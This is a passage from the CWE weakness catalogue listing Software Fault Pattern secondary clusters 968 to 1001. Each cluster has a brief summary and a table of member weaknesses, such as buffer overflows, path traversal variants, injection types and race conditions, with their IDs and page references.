HasMember	V	206	Observable Internal Behavioral Discrepancy	888	486
HasMember	V	207	Observable Behavioral Discrepancy With Equivalent Products	888	487
HasMember	B	208	Observable Timing Discrepancy	888	488

Category-968: SFP Secondary Cluster: Covert Channel

Category ID : 968 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927
HasMember	B	385	Covert Timing Channel	888	842
HasMember	C	514	Covert Channel	888	1086
HasMember	B	515	Covert Storage Channel	888	1087

Category-969: SFP Secondary Cluster: Faulty Memory Release

Category ID : 969 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster (SFP12).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	891	SFP Primary Cluster: Memory Management	888	1923
HasMember	V	415	Double Free	888	901
HasMember	V	590	Free of Memory not on the Heap	888	1179
HasMember	V	761	Free of Pointer not at Start of Buffer	888	1402
HasMember	V	762	Mismatched Memory Management Routines	888	1405
HasMember	B	763	Release of Invalid Pointer or Reference	888	1408

Category-970: SFP Secondary Cluster: Faulty Buffer Access

Category ID : 970 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster (SFP8).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	C	118	Incorrect Access of Indexable Resource ('Range Error')	888	270
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	888	280
HasMember	V	121	Stack-based Buffer Overflow	888	289
HasMember	V	122	Heap-based Buffer Overflow	888	293
HasMember	B	124	Buffer Underwrite ('Buffer Underflow')	888	298
HasMember	V	126	Buffer Over-read	888	305
HasMember	V	127	Buffer Under-read	888	308

Category-971: SFP Secondary Cluster: Faulty Pointer Use

Category ID : 971 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	V	416	Use After Free	888	904
HasMember	B	476	NULL Pointer Dereference	888	1009
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer	888	1177

Category-972: SFP Secondary Cluster: Faulty String Expansion

Category ID : 972 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	888	1459

Category-973: SFP Secondary Cluster: Improper NULL Termination

Category ID : 973 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	B	170	Improper Null Termination	888	395

Category-974: SFP Secondary Cluster: Incorrect Buffer Length Computation

Category ID : 974 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	B	131	Incorrect Calculation of Buffer Size	888	325
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	888	339
HasMember	C	251	Often Misused: String Management	888	1854
HasMember	V	467	Use of sizeof() on a Pointer Type	888	989

Category-975: SFP Secondary Cluster: Architecture

Category ID : 975 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	1928
HasMember	B	348	Use of Less Trusted Source	888	765
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	888	788
HasMember	B	602	Client-Side Enforcement of Server-Side Security	888	1200
HasMember	G	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')	888	1247
HasMember	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	888	1273
HasMember	B	654	Reliance on a Single Factor in a Security Decision	888	1281
HasMember	B	656	Reliance on Security Through Obscurity	888	1285
HasMember	G	657	Violation of Secure Design Principles	888	1287

Nature	Type	ID	Name	V	Page
HasMember	C	671	Lack of Administrator Control over Security	888	1309
HasMember	P	693	Protection Mechanism Failure	888	1344
HasMember	B	749	Exposed Dangerous Method or Function	888	1377

Category-976: SFP Secondary Cluster: Compiler

Category ID : 976 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	1928
HasMember	B	733	Compiler Optimization Removal or Modification of Security-critical Code	888	1375

Category-977: SFP Secondary Cluster: Design

Category ID : 977 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Design cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	1928
HasMember	B	115	Misinterpretation of Input	888	259
HasMember	V	187	Partial String Comparison	888	432
HasMember	B	188	Reliance on Data/Memory Layout	888	435
HasMember	B	193	Off-by-one Error	888	449
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	888	768
HasMember	C	405	Asymmetric Resource Consumption (Amplification)	888	883
HasMember	C	406	Insufficient Control of Network Message Volume (Network Amplification)	888	884
HasMember	C	407	Inefficient Algorithmic Complexity	888	887
HasMember	B	408	Incorrect Behavior Order: Early Amplification	888	888
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	888	890
HasMember	B	410	Insufficient Resource Pool	888	891
HasMember	B	430	Deployment of Wrong Handler	888	929
HasMember	B	462	Duplicate Key in Associative List (Alist)	888	983
HasMember	B	463	Deletion of Data Structure Sentinel	888	984
HasMember	B	464	Addition of Data Structure Sentinel	888	986
HasMember	B	480	Use of Incorrect Operator	888	1023
HasMember	B	483	Incorrect Block Delimitation	888	1032

Nature	Type	ID	Name	V	Page
HasMember	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	888	1167
HasMember	V	595	Comparison of Object References Instead of Object Contents	888	1187
HasMember	B	618	Exposed Unsafe ActiveX Method	888	1226
HasMember	B	648	Incorrect Use of Privileged APIs	888	1271
HasMember	C	670	Always-Incorrect Control Flow Implementation	888	1308
HasMember	P	682	Incorrect Calculation	888	1326
HasMember	P	691	Insufficient Control Flow Management	888	1342
HasMember	C	696	Incorrect Behavior Order	888	1348
HasMember	P	697	Incorrect Comparison	888	1350
HasMember	B	698	Execution After Redirect (EAR)	888	1353
HasMember	C	705	Incorrect Control Flow Scoping	888	1359

Category-978: SFP Secondary Cluster: Implementation

Category ID : 978 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	1928
HasMember	B	358	Improperly Implemented Security Check for Standard	888	786
HasMember	C	398	7PK - Code Quality	888	1863
HasMember	V	623	Unsafe ActiveX Control Marked Safe For Scripting	888	1234
HasMember	P	710	Improper Adherence to Coding Standards	888	1365

Category-979: SFP Secondary Cluster: Failed Chroot Jail

Category ID : 979 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster (SFP17).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	1924
HasMember	V	243	Creation of chroot Jail Without Changing Working Directory	888	538

Category-980: SFP Secondary Cluster: Link in Resource Name Resolution

Category ID : 980 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster (SFP18).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	1924
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	888	106
HasMember	V	62	UNIX Hard Link	888	112
HasMember	V	64	Windows Shortcut Following (.LNK)	888	114
HasMember	V	65	Windows Hard Link	888	116
HasMember	B	386	Symbolic Name not Mapping to Correct Object	888	844
HasMember	G	610	Externally Controlled Reference to a Resource in Another Sphere	888	1213

Category-981: SFP Secondary Cluster: Path Traversal

Category ID : 981 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster (SFP16).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	1924
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	888	31
HasMember	B	23	Relative Path Traversal	888	42
HasMember	V	24	Path Traversal: '../filedir'	888	48
HasMember	V	25	Path Traversal: '/../filedir'	888	50
HasMember	V	26	Path Traversal: '/dir/../filename'	888	51
HasMember	V	27	Path Traversal: 'dir/../../filename'	888	53
HasMember	V	28	Path Traversal: '..\filedir'	888	54
HasMember	V	29	Path Traversal: '\..\filename'	888	56
HasMember	V	30	Path Traversal: '\dir\..\filename'	888	58
HasMember	V	31	Path Traversal: 'dir\..\..\filename'	888	60
HasMember	V	32	Path Traversal: '...' (Triple Dot)	888	62
HasMember	V	33	Path Traversal: '....' (Multiple Dot)	888	64
HasMember	V	34	Path Traversal: '..../'	888	66
HasMember	V	35	Path Traversal: '.../.../'	888	68
HasMember	B	36	Absolute Path Traversal	888	69
HasMember	V	37	Path Traversal: '/absolute/pathname/here'	888	73
HasMember	V	38	Path Traversal: '\absolute\pathname\here'	888	75
HasMember	V	39	Path Traversal: 'C:dirname'	888	77
HasMember	V	40	Path Traversal: '\\UNC\share\name\' (Windows UNC Share)	888	79
HasMember	B	41	Improper Resolution of Path Equivalence	888	81
HasMember	V	42	Path Equivalence: 'filename.' (Trailing Dot)	888	87
HasMember	V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	888	88

Nature	Type	ID	Name	V	Page
HasMember	V	44	Path Equivalence: 'file.name' (Internal Dot)	888	89
HasMember	V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)	888	90
HasMember	V	46	Path Equivalence: 'filename ' (Trailing Space)	888	90
HasMember	V	47	Path Equivalence: ' filename' (Leading Space)	888	92
HasMember	V	48	Path Equivalence: 'file name' (Internal Whitespace)	888	93
HasMember	V	49	Path Equivalence: 'filename/' (Trailing Slash)	888	94
HasMember	V	50	Path Equivalence: '//multiple/leading/slash'	888	95
HasMember	V	51	Path Equivalence: '/multiple//internal/slash'	888	96
HasMember	V	52	Path Equivalence: '/multiple/trailing/slash//'	888	97
HasMember	V	53	Path Equivalence: '\multiple\\internal\backslash'	888	98
HasMember	V	54	Path Equivalence: 'filedir\' (Trailing Backslash)	888	99
HasMember	V	55	Path Equivalence: '/./' (Single Dot Directory)	888	100
HasMember	V	56	Path Equivalence: 'filedir*' (Wildcard)	888	102
HasMember	V	57	Path Equivalence: 'fakedir/../realdir/filename'	888	103
HasMember	V	58	Path Equivalence: Windows 8.3 Filename	888	104
HasMember	B	66	Improper Handling of File Names that Identify Virtual Resources	888	118
HasMember	V	67	Improper Handling of Windows Device Names	888	120
HasMember	V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path	888	124
HasMember	B	73	External Control of File Name or Path	888	125
HasMember	B	428	Unquoted Search Path or Element	888	927
HasMember	C	706	Use of Incorrectly-Resolved Name or Reference	888	1360

Category-982: SFP Secondary Cluster: Failure to Release Resource

Category ID : 982 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster (SFP14).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	1923
HasMember	V	401	Missing Release of Memory after Effective Lifetime	888	872
HasMember	C	404	Improper Resource Shutdown or Release	888	877
HasMember	B	459	Incomplete Cleanup	888	978

Category-983: SFP Secondary Cluster: Faulty Resource Use

Category ID : 983 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster (SFP15).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	1923
HasMember	C	672	Operation on a Resource after Expiration or Release	888	1310

Category-984: SFP Secondary Cluster: Life Cycle

Category ID : 984 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	1923
HasMember	P	664	Improper Control of a Resource Through its Lifetime	888	1291
HasMember	C	666	Operation on Resource in Wrong Phase of Lifetime	888	1298
HasMember	C	675	Duplicate Operations on Resource	888	1316
HasMember	B	694	Use of Multiple Resources with Duplicate Identifier	888	1346

Category-985: SFP Secondary Cluster: Unrestricted Consumption

Category ID : 985 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster (SFP13).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	1923
HasMember	C	400	Uncontrolled Resource Consumption	888	864
HasMember	C	674	Uncontrolled Recursion	888	1314
HasMember	B	770	Allocation of Resources Without Limits or Throttling	888	1422
HasMember	V	774	Allocation of File Descriptors or Handles Without Limits or Throttling	888	1438

Category-986: SFP Secondary Cluster: Missing Lock

Category ID : 986 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster (SFP19).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	1924
HasMember	B	364	Signal Handler Race Condition	888	802
HasMember	B	365	Race Condition in Switch	888	807

Nature	Type	ID	Name	V	Page
HasMember	B	366	Race Condition within a Thread	888	809
HasMember	B	368	Context Switching Race Condition	888	816
HasMember	B	413	Improper Resource Locking	888	896
HasMember	B	414	Missing Lock Check	888	900
HasMember	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	888	1115
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	888	1144
HasMember	B	609	Double-Checked Locking	888	1211
HasMember	C	662	Improper Synchronization	888	1288
HasMember	B	663	Use of a Non-reentrant Function in a Concurrent Context	888	1290
HasMember	C	667	Improper Locking	888	1299

Category-987: SFP Secondary Cluster: Multiple Locks/Unlocks

Category ID : 987 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster (SFP21).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	1924
HasMember	B	585	Empty Synchronized Block	888	1172
HasMember	B	764	Multiple Locks of a Critical Resource	888	1413
HasMember	B	765	Multiple Unlocks of a Critical Resource	888	1414

Category-988: SFP Secondary Cluster: Race Condition Window

Category ID : 988 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster (SFP20).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	1924
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	888	793
HasMember	B	363	Race Condition Enabling Link Following	888	801
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	888	812
HasMember	V	370	Missing Check for Certificate Revocation after Initial Check	888	821
HasMember	C	638	Not Using Complete Mediation	888	1249

Category-989: SFP Secondary Cluster: Unrestricted Lock

Category ID : 989 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster (SFP22).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	1924
HasMember	B	412	Unrestricted Externally Accessible Lock	888	893

Category-990: SFP Secondary Cluster: Tainted Input to Command

Category ID : 990 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster (SFP24).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1925
HasMember	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	888	130
HasMember	C	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	888	134
HasMember	B	76	Improper Neutralization of Equivalent Special Elements	888	135
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	888	136
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	888	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	888	152
HasMember	V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	888	165
HasMember	V	81	Improper Neutralization of Script in an Error Message Web Page	888	167
HasMember	V	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page	888	169
HasMember	V	83	Improper Neutralization of Script in Attributes in a Web Page	888	171
HasMember	V	84	Improper Neutralization of Encoded URI Schemes in a Web Page	888	173
HasMember	V	85	Doubled Character XSS Manipulations	888	175
HasMember	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	888	177
HasMember	V	87	Improper Neutralization of Alternate XSS Syntax	888	179
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	888	181

Nature	Type	ID	Name	V	Page
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	888	187
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	888	198
HasMember	B	91	XML Injection (aka Blind XPath Injection)	888	200
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	888	202
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	888	209
HasMember	V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	888	216
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	888	224
HasMember	V	102	Struts: Duplicate Validation Forms	888	227
HasMember	V	103	Struts: Incomplete validate() Method Definition	888	229
HasMember	V	104	Struts: Form Bean Does Not Extend Validation Class	888	231
HasMember	V	105	Struts: Form Field Without Validator	888	234
HasMember	V	106	Struts: Plug-in Framework not in Use	888	237
HasMember	V	107	Struts: Unused Validation Form	888	239
HasMember	V	108	Struts: Unvalidated Action Form	888	242
HasMember	V	109	Struts: Validator Turned Off	888	243
HasMember	V	110	Struts: Validator Without Form Field	888	245
HasMember	B	112	Missing XML Validation	888	249
HasMember	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	888	251
HasMember	B	130	Improper Handling of Length Parameter Inconsistency	888	321
HasMember	B	134	Use of Externally-Controlled Format String	888	334
HasMember	C	138	Improper Neutralization of Special Elements	888	342
HasMember	B	140	Improper Neutralization of Delimiters	888	345
HasMember	V	141	Improper Neutralization of Parameter/Argument Delimiters	888	346
HasMember	V	142	Improper Neutralization of Value Delimiters	888	348
HasMember	V	143	Improper Neutralization of Record Delimiters	888	350
HasMember	V	144	Improper Neutralization of Line Delimiters	888	351
HasMember	V	145	Improper Neutralization of Section Delimiters	888	353
HasMember	V	146	Improper Neutralization of Expression/Command Delimiters	888	355
HasMember	V	147	Improper Neutralization of Input Terminators	888	357
HasMember	V	148	Improper Neutralization of Input Leaders	888	359
HasMember	V	149	Improper Neutralization of Quoting Syntax	888	360
HasMember	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	888	362
HasMember	V	151	Improper Neutralization of Comment Delimiters	888	364
HasMember	V	152	Improper Neutralization of Macro Symbols	888	366
HasMember	V	153	Improper Neutralization of Substitution Characters	888	368
HasMember	V	154	Improper Neutralization of Variable Name Delimiters	888	369
HasMember	V	155	Improper Neutralization of Wildcards or Matching Symbols	888	371
HasMember	V	156	Improper Neutralization of Whitespace	888	373
HasMember	V	157	Failure to Sanitize Paired Delimiters	888	375

Nature	Type	ID	Name	V	Page
HasMember	V	158	Improper Neutralization of Null Byte or NUL Character	888	377
HasMember	C	159	Improper Handling of Invalid Use of Special Elements	888	379
HasMember	V	160	Improper Neutralization of Leading Special Elements	888	381
HasMember	V	161	Improper Neutralization of Multiple Leading Special Elements	888	383
HasMember	V	162	Improper Neutralization of Trailing Special Elements	888	384
HasMember	V	163	Improper Neutralization of Multiple Trailing Special Elements	888	386
HasMember	V	164	Improper Neutralization of Internal Special Elements	888	387
HasMember	V	165	Improper Neutralization of Multiple Internal Special Elements	888	389
HasMember	B	183	Permissive List of Allowed Inputs	888	424
HasMember	B	184	Incomplete List of Disallowed Inputs	888	425
HasMember	C	185	Incorrect Regular Expression	888	429
HasMember	B	186	Overly Restrictive Regular Expression	888	431
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	888	952
HasMember	V	553	Command Shell in Externally Accessible Directory	888	1127
HasMember	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	888	1127
HasMember	V	564	SQL Injection: Hibernate	888	1139
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	888	1195
HasMember	B	611	Improper Restriction of XML External Entity Reference	888	1215
HasMember	B	619	Dangling Database Cursor ('Cursor Injection')	888	1228
HasMember	B	621	Variable Extraction Error	888	1231
HasMember	B	624	Executable Regular Expression Error	888	1236
HasMember	B	625	Permissive Regular Expression	888	1237
HasMember	V	626	Null Byte Interaction Error (Poison Null Byte)	888	1239
HasMember	B	627	Dynamic Variable Evaluation	888	1241
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	888	1256
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	888	1263
HasMember	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	888	1265
HasMember	V	646	Reliance on File Name or Extension of Externally-Supplied File	888	1268
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	888	1278
HasMember	V	687	Function Call With Incorrectly Specified Argument Value	888	1335
HasMember	P	707	Improper Neutralization	888	1362

Category-991: SFP Secondary Cluster: Tainted Input to Environment

Category ID : 991 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster (SFP27).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1925
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	888	204
HasMember	C	114	Process Control	888	256
HasMember	B	427	Uncontrolled Search Path Element	888	922
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	888	996
HasMember	B	471	Modification of Assumed-Immutable Data (MAID)	888	999
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	888	1001
HasMember	V	473	PHP External Variable Modification	888	1005
HasMember	B	494	Download of Code Without Integrity Check	888	1055
HasMember	V	622	Improper Validation of Function Hook Arguments	888	1233
HasMember	C	673	External Influence of Sphere Definition	888	1313

Category-992: SFP Secondary Cluster: Faulty Input Transformation

Category ID : 992 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1925
HasMember	C	116	Improper Encoding or Escaping of Output	888	260
HasMember	B	166	Improper Handling of Missing Special Element	888	390
HasMember	B	167	Improper Handling of Additional Special Element	888	392
HasMember	B	168	Improper Handling of Inconsistent Special Elements	888	394
HasMember	C	172	Encoding Error	888	399
HasMember	V	173	Improper Handling of Alternate Encoding	888	401
HasMember	V	174	Double Decoding of the Same Data	888	403
HasMember	V	175	Improper Handling of Mixed Encoding	888	405
HasMember	V	176	Improper Handling of Unicode Encoding	888	407
HasMember	V	177	Improper Handling of URL Encoding (Hex Encoding)	888	409
HasMember	B	178	Improper Handling of Case Sensitivity	888	411
HasMember	B	179	Incorrect Behavior Order: Early Validation	888	414
HasMember	V	180	Incorrect Behavior Order: Validate Before Canonicalize	888	417
HasMember	V	181	Incorrect Behavior Order: Validate Before Filter	888	420
HasMember	B	182	Collapse of Data into Unsafe Value	888	422

Category-993: SFP Secondary Cluster: Incorrect Input Handling

Category ID : 993 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1925
HasMember	B	198	Use of Incorrect Byte Ordering	888	465
HasMember	C	228	Improper Handling of Syntactically Invalid Structure	888	519
HasMember	B	229	Improper Handling of Values	888	521
HasMember	V	230	Improper Handling of Missing Values	888	521
HasMember	V	231	Improper Handling of Extra Values	888	523
HasMember	V	232	Improper Handling of Undefined Values	888	524
HasMember	B	233	Improper Handling of Parameters	888	525
HasMember	V	234	Failure to Handle Missing Parameter	888	526
HasMember	V	235	Improper Handling of Extra Parameters	888	529
HasMember	V	236	Improper Handling of Undefined Parameters	888	530
HasMember	B	237	Improper Handling of Structural Elements	888	531
HasMember	V	238	Improper Handling of Incomplete Structural Elements	888	531
HasMember	V	239	Failure to Handle Incomplete Element	888	532
HasMember	B	240	Improper Handling of Inconsistent Structural Elements	888	533
HasMember	B	241	Improper Handling of Unexpected Data Type	888	534
HasMember	B	351	Insufficient Type Distinction	888	772
HasMember	B	354	Improper Validation of Integrity Check Value	888	782

Category-994: SFP Secondary Cluster: Tainted Input to Variable

Category ID : 994 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster (SFP25).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1925
HasMember	B	15	External Control of System or Configuration Setting	888	17
HasMember	C	20	Improper Input Validation	888	19
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	888	967
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	888	1061
HasMember	B	502	Deserialization of Untrusted Data	888	1072
HasMember	V	566	Authorization Bypass Through User-Controlled SQL Primary Key	888	1142
HasMember	B	606	Unchecked Input for Loop Condition	888	1207
HasMember	V	616	Incomplete Identification of Uploaded File Variables (PHP)	888	1223

Category-995: SFP Secondary Cluster: Feature

Category ID : 995 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Feature cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	906	SFP Primary Cluster: UI	888	1928
HasMember	B	447	Unimplemented or Unsupported Feature in UI	888	957
HasMember	B	448	Obsolete Feature in UI	888	959
HasMember	B	449	The UI Performs the Wrong Action	888	960
HasMember	B	450	Multiple Interpretations of UI Input	888	961
HasMember	C	451	User Interface (UI) Misrepresentation of Critical Information	888	962
HasMember	B	549	Missing Password Field Masking	888	1122
HasMember	B	655	Insufficient Psychological Acceptability	888	1283

Category-996: SFP Secondary Cluster: Security

Category ID : 996 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Security cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	906	SFP Primary Cluster: UI	888	1928
HasMember	B	356	Product UI does not Warn User of Unsafe Actions	888	784
HasMember	B	357	Insufficient UI Warning of Dangerous Operations	888	785
HasMember	C	446	UI Discrepancy for Security Feature	888	956

Category-997: SFP Secondary Cluster: Information Loss

Category ID : 997 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Information Loss cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	906	SFP Primary Cluster: UI	888	1928
HasMember	C	221	Information Loss or Omission	888	511
HasMember	B	222	Truncation of Security-relevant Information	888	512
HasMember	B	223	Omission of Security-relevant Information	888	513
HasMember	B	224	Obscured Security-relevant Information by Alternate Name	888	515

Category-998: SFP Secondary Cluster: Glitch in Computation

Category ID : 998 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Glitch in Computation cluster (SFP1).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	885	SFP Primary Cluster: Risky Values	888	1922
HasMember	B	128	Wrap-around Error	888	309
HasMember	B	190	Integer Overflow or Wraparound	888	437
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	888	444
HasMember	V	194	Unexpected Sign Extension	888	454
HasMember	V	195	Signed to Unsigned Conversion Error	888	457
HasMember	V	196	Unsigned to Signed Conversion Error	888	460
HasMember	B	197	Numeric Truncation Error	888	461
HasMember	B	369	Divide By Zero	888	818
HasMember	V	456	Missing Initialization of a Variable	888	971
HasMember	V	457	Use of Uninitialized Variable	888	975
HasMember	B	466	Return of Pointer Value Outside of Expected Range	888	988
HasMember	B	468	Incorrect Pointer Scaling	888	992
HasMember	B	469	Use of Pointer Subtraction to Determine Size	888	994
HasMember	B	475	Undefined Behavior for Input to API	888	1008
HasMember	B	480	Use of Incorrect Operator	888	1023
HasMember	V	481	Assigning instead of Comparing	888	1026
HasMember	V	486	Comparison of Classes by Name	888	1036
HasMember	B	562	Return of Stack Variable Address	888	1136
HasMember	B	570	Expression is Always False	888	1147
HasMember	B	571	Expression is Always True	888	1150
HasMember	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	888	1164
HasMember	B	587	Assignment of a Fixed Address to a Pointer	888	1175
HasMember	V	594	J2EE Framework: Saving Unserializable Objects to Disk	888	1185
HasMember	V	597	Use of Wrong Operator in String Comparison	888	1189
HasMember	B	628	Function Call with Incorrectly Specified Arguments	888	1243
HasMember	B	681	Incorrect Conversion between Numeric Types	888	1322
HasMember	V	683	Function Call With Incorrect Order of Arguments	888	1330
HasMember	V	685	Function Call With Incorrect Number of Arguments	888	1333
HasMember	V	686	Function Call With Incorrect Argument Type	888	1334
HasMember	V	687	Function Call With Incorrectly Specified Argument Value	888	1335
HasMember	V	688	Function Call With Incorrect Variable or Reference as Argument	888	1337
HasMember	C	704	Incorrect Type Conversion or Cast	888	1357
HasMember	V	768	Incorrect Short Circuit Evaluation	888	1420

Category-1001: SFP Secondary Cluster: Use of an Improper API

Category ID : 1001 **Status:** Incomplete

